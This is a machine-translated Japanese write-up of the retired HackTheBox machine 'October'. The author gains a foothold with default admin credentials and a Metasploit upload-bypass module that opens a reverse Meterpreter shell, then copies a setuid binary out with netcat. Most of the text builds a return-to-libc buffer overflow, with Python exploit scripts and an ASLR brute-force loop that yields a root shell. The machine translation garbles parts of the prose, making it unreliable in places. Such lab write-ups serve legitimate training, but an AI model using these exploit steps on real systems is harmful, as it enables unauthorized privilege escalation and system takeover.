バッファオーバーフローは、9月にHackTheBoxをバイパスします


このシリーズは2009年の私のエクササイズに続きますHackTheBox . すべての公開Writeups引退HTBのマシンです.私がmetasploitをpwnに使用するかどうかに関係なく、サーバーはタイトルで示されます.

10月


難易度:中
マシンip : 10.10.10.16
ポートスキャンは、Webサーバーを唯一のベクトルとして識別します.
sudo nmap -sS -T4 -p- 10.10.10.16

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:14 EDT
Nmap scan report for 10.10.10.16
Host is up (0.017s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 97.13 seconds
sudo nmap -sS -T4 -A -p 22,80 10.10.10.16

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:20 EDT
Nmap scan report for 10.10.10.16
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS                                                                                              
1   26.69 ms 10.10.14.1                                                                                           
2   26.69 ms 10.10.10.16
Webサーバーは、明示的な睡眠のいくつかの種類があり、要求に応答するのに長い時間がかかります.これはディレクトリ列挙を困難にします.私はより小さい単語リストを走らせます、そして、およそ20分後に、私はこれまで以下の内容を持ちます.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php --timeout 30s -u http://10.10.10.16/

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.16/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        30s
===============================================================
2020/06/28 11:39:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/Blog (Status: 200)
/account (Status: 200)
/backend (Status: 302)
/blog (Status: 200)
/config (Status: 301)
/error (Status: 200)
私はバックグラウンドで実行することができますが、これらのエンドポイントを探し始めることができます.最初のコンテンツから、私はOctober CMS ( BOX名も同様です.http://10.10.10.16/backend ログインフォームを表示します.でしょうadmin / admin そして、これらの資格情報が正しいことを見つけてください.
searchsploit 認証されたセッションを使用するメタクラスモジュールが存在することを示します.
searchsploit october

-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit)              | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                                  | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                                    | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting                 | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting                           | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery                     | php/webapps/43106.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
私は先に行くとexploit/multi/http/october_upload_bypass_exec モジュールでシェルを取得するwww-data ユーザ.
msf5 exploit(multi/http/october_upload_bypass_exec) > run

[*] Started reverse TCP handler on 10.10.14.41:4444 
[+] Authentication successful: admin:admin
[*] Sending stage (38288 bytes) to 10.10.10.16
[*] Meterpreter session 1 opened (10.10.14.41:4444 -> 10.10.10.16:49062) at 2020-06-28 12:16:13 -0400
[+] Deleted pXNLiuNzD.php5

meterpreter >
ユーザフラグを取得できます.ここからアップロードLinux Smart Enumeration (LSE) をターゲットに実行し、システムを列挙します.
www-data@october:/tmp$ ./lse.sh -c -i -l 1 | less
最も興味深い項目はsetuidバイナリがシステム上に存在することですwww-data 実行できます.
[!] fst020 Uncommon setuid binaries........................................ yes!
:
---
:        
/usr/local/bin/ovrflw
LSEは偉大な列挙スクリプトです.setuidバイナリはSUID ビットセット.これは、ファイルを実行するユーザーに関係なく、ファイル所有者の特権でファイルが実行されることを意味します.あれroot 所有する/usr/local/bin/ovrflw ファイル、これは私がovrflw バイナリがどうにかシェルを実行すると、シェルはrootユーザとして生成されます.
ファイル名を指定すると、バッファオーバーフローが必要になると仮定します.実際に、大きな入力を渡すことによってオーバーフローの脆弱性が存在することを確認できます.
www-data@october:/tmp$ /usr/local/bin/ovrflw
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>

www-data@october:/tmp$ /usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
www-data@october:/tmp$ ^[[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (core dumped)
www-data@october:/tmp$ 
私は、セグメンテーション違反を得ました.このバイナリを自分のマシンにコピーし、バッファオーバーフロー解析のためにプリペアドタイムする.
私のマシンではnetcatを設定してデータを聞き、ファイルに出力します.
artis3n@kali-pop:~/shares/htb/october$ sudo nc -l -p 999 > ovrflw
以来nc がターゲットに存在する場合、ファイルを次のコマンドで転送できます.
www-data@october:/tmp$ nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
私の使用md5sum ローカルファイルがサーバーと同じであることを確認します.
artis3n@kali-pop:~/shares/htb/october$ md5sum ovrflw 
0e531949d891fd56a2ead07610cc5ded  ovrflw

www-data@october:/tmp$ md5sum /usr/local/bin/ovrflw
md5sum /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded  /usr/local/bin/ovrflw
私もターゲットシステムのアーキテクチャをチェックする必要があります.
これはUbuntu 14.04を実行する32ビットマシンです.
www-data@october:/tmp$ uname -a
uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
www-data@october:/tmp$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
バッファーオーバーフローを開発する際に、できるだけ厳密にターゲットにマッチしたいので、Ubuntu 14.04イメージを使用します.私が得ることができる最も近いものはhttps://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso , これはかなり近いです.私はそれをVMwareでスピンしてインストールを開始します.VirtualBoxを使用することができますが、VirtualBox VMのパフォーマンスはVMwareよりもかなり悪いと感じます.またubuntu/images/ebs/ubuntu-trusty-14.04-i386-server-20180627 AWSの公共コミュニティの下で、あなたはそれを試してみることができます.
VMware VMでは、インストールするのに約5分かかりますgdb and PEDA . ペダはPython Exploit Development Assistance for GDB . それは上に有益な補足ですgdb .
sudo apt update && sudo apt install -y build-essential git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
私はバイナリをこのテストVMにコピーします.
artis3n@ubuntu:~/Desktop$ wget http://172.16.145.128:8000/ovrflw

--2020-06-28 10:26:29--  http://172.16.145.128:8000/ovrflw
Connecting to 172.16.145.128:8000... ^C
artis3n@ubuntu:~/Desktop$ wget http://192.168.1.209:8000/ovrflw
--2020-06-28 10:27:20--  http://192.168.1.209:8000/ovrflw
Connecting to 192.168.1.209:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 (7.2K) [application/octet-stream]
Saving to: ‘ovrflw’

100%[============================================================>] 7,377       --.-K/s   in 0.001s  

2020-06-28 10:27:20 (12.1 MB/s) - ‘ovrflw’ saved [7377/7377]

artis3n@ubuntu:~/Desktop$ ls -l

total 8
-rw-rw-r-- 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw
今、私は私の分析を開始します.
gdb ./ovrflw
> b main
> run
レジスタとメモリアドレスのこのビューはPEDAから来ます.

PEDAでバイナリにコンパイルされたセキュリティフラグをチェックできますchecksec コマンド.
NX が有効ですが、私は本当に気にしない.ASLRがターゲットマシンで有効かどうかチェックするべきです.
目標に関してはlibc 'メモリアドレス0xb7565000 ) で
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
私は、繰り返される呼び出しを見ますldd /usr/local/bin/overflw それを示すlibc 'sメモリアドレスは毎回変わります.
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7640000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7547000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc    
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)
これはASLRが有効になっていることを意味します.つまり、ターゲットシステムからの静的メモリアドレスをreturn-to-libc 攻撃は、メモリアドレスが異なるたびにされます.
私のテストVMでは、ASLRを無効にして、基本的なバッファオーバーフローexploitを実行します.私はASLRをバイパスするためにそれを変更する必要がありますが、一度に1つのステップ.aslrを無効にするにはsu rootで次のコマンドを実行します.
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 0 > /proc/sys/kernel/randomize_va_space
テストVMでは、ASLRが無効になっていることがわかりますlibc メモリアドレスは変更されません.
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
私のKaliホストでは、バッファオフセットを見つけるパターンを生成します.これは、実行可能バッファを埋めるために私のexploitをパッドするために必要なデータのバイト数を教えてくれます.
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
テストVMでは、このパターンをgdb アプリケーションがクラッシュすると、メモリ内のパターンのスニペットを見つける.はい、私はこれらのコマンドを通してホストの間でジャンプし続けなければなりません.ダブルホストが何をしたかチェック!
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 in ?? ()
どうも0x64413764 プログラムがクラッシュさせたデータでした.
カリのホストに戻って、私はこの16進コードを実行しますpattern_offset オフセットバイトの正確な数を見つけるには、次の手順に従います.112 .
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_offset -q 0x64413764
[*] Exact match at offset 112
テストVMでは、ASLRが無効になっているので、次の設定でバッファオーバーフローexploitを構築できます.システムコールのメモリアドレスが必要ですsystem and exit , のメモリアドレス/bin/sh . これにより、私はreturn-to-libc アタック.私はこれをもっと詳しく説明しますHTB Frolic ライトアップ.
メモリアドレスを取得system - 0xb7e53310 .
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e53310 <__libc_system>
私はコピーしなかったp exit コマンドと結果はexit の代わりにsystem .
メモリアドレスを取得/bin/sh - 0xb7f75d4c
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c ("/bin/sh")
これらを使用すると、以下の( ASLR無効)のexploitを作成できます.
#!/usr/bin/env python

import struct

buffersled = "A"*112

libc = ''
system = struct.pack('<I', 0xb7e53310)
exit = struct.pack('<I', 0xb7e46260)
binsh = struct.pack('<I', 0xb7f75d4c)

payload = buffersled + system + exit + binsh

print payload
このプログラムの実行をovrflw テストVMでバイナリを取得し、ルートシェルを取得します.
./ovrflw $(python exploit.py)
しかし、これはASLRが無効になっているだけです.作業ベースのexploitで、私はすぐに再利用することができますASLR私のexploitを開発し続けることができます.
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 2 > /proc/sys/kernel/randomize_va_space 
aslrを有効にします.libc 'メモリアドレスは再び変更される.
artis3n@ubuntu:~/Desktop$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b9000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a4000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e5000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7613000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751f000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751b000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7530000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7522000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d6000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7561000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7533000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)
でも!
この出力を調べると、メモリアドレスが比較的同じままであることに気がつきます.一般的には0xb75 , いくつかの0xb76 . 彼らはすべての000 . 本当に、真ん中の2バイトだけが毎回変化しています.これは512の可能性があることを意味しますlibc '各呼び出しにおけるSアドレス.言い換えれば、私は推測の1libc '実行可能ファイルを呼び出すたびにメモリアドレス.私がバイナリ513倍を利用するならば、私は再びこれらのアドレスのうちの1つを見る非常に高いチャンスがあります.実際にはbirthday paradox , 私は、私が正しく推測する50 %の確率以上を得るために、およそ30の推測を必要とするだけですlibc 'メモリアドレス.

https://www.dcode.fr/birthday-problem
上記のリストで最初のメモリアドレスを使用できます.0xb75b9000 , そして、私がシェルを得るまで、ペイロードを強制してください.我々がサーバーを壊すことなく必要であるので、我々が何度もこのプログラムを壊すことができるので、これは働くだけである点に注意してください.
それで、今、私はテストVMの代わりにターゲットシステムからメモリアドレスを集める必要があります.
ゲットゲットlibc 'ターゲットのメモリアドレス0xb755c000 :
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc  
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755c000)
今私はメモリオフセットが必要ですsystem , exit , and /bin/sh のアドレスの相対位置からlibc . これは、これらの3つのメモリアドレスを正しいと推測する限り、正しいことができますlibc 任意の実行中にアドレス.これらのメモリオフセットをreadelf/lib/i386-linux-gnu/libc.so.6 ライブラリは、前の結果のようにlibc メモリアドレスコマンド.
The system@@GLIBC_2.0 アドレス0x00040310 .
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
stemelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i sy 
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
The exit@@GLIBC_2.0 アドレス0x00033260 .
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
itadelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i ex 
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  1836: 000b84f4    24 FUNC    WEAK   DEFAULT   12 _Exit@@GLIBC_2.1.1
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2
以来/bin/sh はシステムコールではないsystem and exit , 使えないreadelf を返します.代わりに、私はstrings に対してlibc 図書館.
www-data@october:/dev/shm$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
n/shngs -atx /lib/i386-linux-gnu/libc.so.6 | grep /bi 
 162bac /bin/sh
The /bin/sh メモリアドレスは0x00162bac .
今私は最終的なペイロードを作成します.このスクリプトは私のexploitを最大512回実行します.
#!/usr/bin/env python

from subprocess import call
import struct

buffersled = "A"*112

libc = 0xb755c000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)

payload = buffersled + system + exit + binsh


i = 0
while (i < 512):
    print("Try %s" % i)
    i += 1
    ret = call(["/usr/local/bin/ovrflw", payload])
このペイロードをターゲットマシンにアップロードして実行します.
数秒以内に私はルートシェルを持っている!

私は根旗をつかむためにオフです.